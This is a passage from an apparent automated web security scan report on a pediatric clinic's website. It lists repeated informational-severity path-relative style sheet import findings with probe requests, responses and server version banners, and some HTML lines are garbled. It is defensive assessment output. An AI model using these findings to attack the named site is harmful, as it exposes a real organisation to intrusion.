 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:47:36 GMT
 Connection: close

 Content-Length: 6931
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 3

GET /index.php/h4szy8/styles-mobile.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=q2q3flia4nc83f3us4ikk377g3
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/?ismobile=mobile

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:47:37 GMT
 Connection: close

 Content-Length: 6931
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.16. http://www.yourwebsite.com/insurance.php

Previous   Next  
 

Summary

Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /insurance.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /insurance.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=mqc25oo1hhl51t5usmb9la57i4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:07:15 GMT
 Connection: close

 Content-Length: 17981
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /insurance.php/kzwphp/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=mqc25oo1hhl51t5usmb9la57i4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:07:32 GMT
 Connection: close

 Content-Length: 17981
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /insurance.php/kzwphp/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=mqc25oo1hhl51t5usmb9la57i4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:07:35 GMT
 Connection: close

 Content-Length: 17981
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

8.17. http://www.yourwebsite.com/location.php

Previous   Next  
 

Summary

Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /location.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /location.php HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=jtqii4k4k0h6sl93g121gj7ql3
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:14:04 GMT
 Connection: close

 Content-Length: 14660
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /location.php/t9h073/ HTTP/1.1
 Host: www.cumberlandpediatrics.com
 Cookie: PHPSESSID=jtqii4k4k0h6sl93g121gj7ql3

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Referer: http://www.yourwebsite.com/
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 Accept-Encoding: gzip, deflate
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36

 Connection: close
 Cache-Control: max-age=0

 Content-Length: 0
 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:15:07 GMT
 Connection: close

 Content-Length: 14660
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /location.php/t9h073/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=jtqii4k4k0h6sl93g121gj7ql3
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:15:09 GMT
 Connection: close

 Content-Length: 14660
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

8.18. http://www.yourwebsite.com/medical-services.php

Previous   Next  
 

Summary

Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /medical-services.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /medical-services.php HTTP/1.1
 Host: www.cumberlandpediatrics.com
 Cookie: PHPSESSID=63hkko2um2dh3igo0kt67u0nf6

 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
 Upgrade-Insecure-Requests: 1

 Referer: http://www.yourwebsite.com/sitemap.php?ismobile=mobile
 Accept-Encoding: gzip, deflate

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36

 Connection: close
 Cache-Control: max-age=0

 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:16:16 GMT
 Connection: close

 Content-Length: 10991
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 2

GET /medical-services.php/z9ssh7/ HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=63hkko2um2dh3igo0kt67u0nf6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php?ismobile=mobile

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:16:55 GMT
 Connection: close

 Content-Length: 10991
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 3

GET /medical-services.php/z9ssh7/styles-mobile.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=63hkko2um2dh3igo0kt67u0nf6
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/sitemap.php?ismobile=mobile

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 01:16:56 GMT
 Connection: close

 Content-Length: 10991
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.19. http://www.yourwebsite.com/news-topic.php

Previous   Next  
 

Summary

Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /news-topic.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /news-topic.php?newsid=44 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=g52mf4aiflkcp1b8abbgr2d4g1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:45:19 GMT
 Connection: close

 Content-Length: 12052
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 2

GET /news-topic.php/meqs8p/?newsid=44 HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=g52mf4aiflkcp1b8abbgr2d4g1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:55:55 GMT
 Connection: close

 Content-Length: 12052
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...
 <link rel="apple-touch-icon" href="apple-touch-icon.png" />

<li k h f " t l " l " t l h t" t "t t/ " />

Request 3

GET /news-topic.php/meqs8p/styles-cp.css HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=g52mf4aiflkcp1b8abbgr2d4g1
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:55:55 GMT
 Connection: close

 Content-Length: 11891
 

<!DOCTYPE html>
 <html lang="en"><head>

 
<meta charset="utf-8">

    <!-- Always force latest IE rendering engine (even in intranet) & Chrome Frame -->
    <meta http-equiv="X-UA-Compatible" content=

 ...[SNIP]...

8.20. http://www.yourwebsite.com/news.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /news.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

GET /news.php?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=r45p7kmgob6ncg2gdnp029m8s4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/news.php

 Accept-Encoding: gzip, deflate
 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 

Response 1

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:47:54 GMT
 Connection: close

 Content-Length: 11042
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 2

GET /news.php/ooop7y/?ismobile=mobile HTTP/1.1
 Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=r45p7kmgob6ncg2gdnp029m8s4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/news.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 2

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:59:05 GMT
 Connection: close

 Content-Length: 11042
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

 <meta name="viewport" content="width=320, user-scalable=no" />
 <link href="styles-mobile.css" rel="stylesheet" media="screen"/>

<li k l " h t t i " h f "f i i " />

Request 3

GET /news.php/ooop7y/styles-mobile.css HTTP/1.1
Host: www.cumberlandpediatrics.com

 Cookie: PHPSESSID=r45p7kmgob6ncg2gdnp029m8s4
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

 Upgrade-Insecure-Requests: 1
 Referer: http://www.yourwebsite.com/news.php

 Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
 Accept-Encoding: gzip, deflate

 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
 Connection: close

 Cache-Control: max-age=0
 Content-Length: 0

 

Response 3

HTTP/1.1 200 OK
 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

 Pragma: no-cache
 Content-Type: text/html; charset=UTF-8

 Expires: Thu, 19 Nov 1981 08:52:00 GMT
 Server: Microsoft-IIS/8.5

 X-Powered-By: PHP/5.6.12
 X-Powered-By: ASP.NET

 Date: Thu, 07 Apr 2022 00:59:06 GMT
 Connection: close

 Content-Length: 11042
 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">

 <head>
 

<meta http-equiv
 ...[SNIP]...

8.21. http://www.yourwebsite.com/office-policies.php

Previous   Next  
 

Summary
Severity:  Information

Confidence:  Firm

Host:  http://www.yourwebsite.com

Path:  /office-policies.php

Issue detail
The application may be vulnerable to path-relative style sheet import (PRSSI) attacks. The first four conditions for an exploitable vulnerability are present (see issue
background):

1. The original response contains a path-relative style sheet import (see response 1).
2. When superfluous path-like data is placed into the URL following the original filename (see request 2), the application's response still contains a path-relative

style sheet import (see response 2).
3. Response 2 can be made to render in a browser's quirks mode. Although the page contains a modern doctype directive, the response does not prevent itself

from being framed. An attacker can frame the response within a page that they control, to force it to be rendered in quirks mode. (Note that this technique is
IE-specific and due to P3P restrictions might sometimes limit the impact of a successful attack.)

4. When the path-relative style sheet import in response 2 is requested (see request 3) the application returns something other than the CSS response that was
supposed to be imported (see response 3).

It was not verified whether condition 5 holds (see issue background), and you should manually investigate whether it is possible to manipulate some text within
response 3, to enable full exploitation of this issue.

Request 1

